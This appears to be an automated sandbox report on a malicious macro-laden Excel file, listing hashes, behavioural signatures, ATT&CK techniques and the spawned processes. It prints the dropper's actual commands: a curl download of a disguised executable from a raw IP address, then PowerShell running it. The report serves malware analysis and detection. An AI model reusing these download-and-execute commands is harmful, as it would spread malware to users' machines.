576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83

General

Target

576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83.xlsm
Size

140KB
MD5

a9a0fed71fb7d2c87d0573c2ef58a965
SHA1

c4f1ec24d582759c4429df2a4a8c161f0370ac2f
SHA256

576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83
SHA512

5618fcce1bb08e1f154e51dfe1cf4d9a1866bdbbf085703ec5d578132f2194bbc96ad76237c439cc970d9207f48568ac9a1af63cf3e163c941d51cd4f4ee4205

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1912	3908	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2072	3908	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3908 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1912 powershell.exe
1912 powershell.exe
1912 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1912 powershell.exe

pid	process
1912	powershell.exe
1912	powershell.exe
1912	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1912	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE
3908	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3908 wrote to memory of 1912	3908	EXCEL.EXE	powershell.exe
PID 3908 wrote to memory of 1912	3908	EXCEL.EXE	powershell.exe
PID 3908 wrote to memory of 2072	3908	EXCEL.EXE	cmd.exe
PID 3908 wrote to memory of 2072	3908	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1912

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
2⤵
- Process spawned unexpected child process
PID:2072

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1912-256-0x0000000000000000-mapping.dmp

Download
memory/1912-285-0x00000161CC916000-0x00000161CC918000-memory.dmp

Filesize
8KB

Download
memory/1912-278-0x00000161CC913000-0x00000161CC915000-memory.dmp

Filesize
8KB

Download
memory/1912-276-0x00000161CC910000-0x00000161CC912000-memory.dmp

Filesize
8KB

Download
memory/1912-266-0x00000161E5680000-0x00000161E5681000-memory.dmp

Filesize
4KB

Download
memory/1912-262-0x00000161E5040000-0x00000161E5041000-memory.dmp

Filesize
4KB

Download
memory/2072-257-0x0000000000000000-mapping.dmp

Download
memory/3908-117-0x00007FF9B87B0000-0x00007FF9B87C0000-memory.dmp

Filesize
64KB

Download
memory/3908-123-0x00007FF9D73C0000-0x00007FF9D92B5000-memory.dmp

Filesize
31.0MB

Download
memory/3908-121-0x00007FF9D92C0000-0x00007FF9DA3AE000-memory.dmp

Filesize
16.9MB

Download
memory/3908-122-0x00007FF9B87B0000-0x00007FF9B87C0000-memory.dmp

Filesize
64KB

Download
memory/3908-118-0x00007FF9B87B0000-0x00007FF9B87C0000-memory.dmp

Filesize
64KB

Download
memory/3908-114-0x00007FF7456E0000-0x00007FF748C96000-memory.dmp

Filesize
53.7MB

Download
memory/3908-116-0x00007FF9B87B0000-0x00007FF9B87C0000-memory.dmp

Filesize
64KB

Download
memory/3908-115-0x00007FF9B87B0000-0x00007FF9B87C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads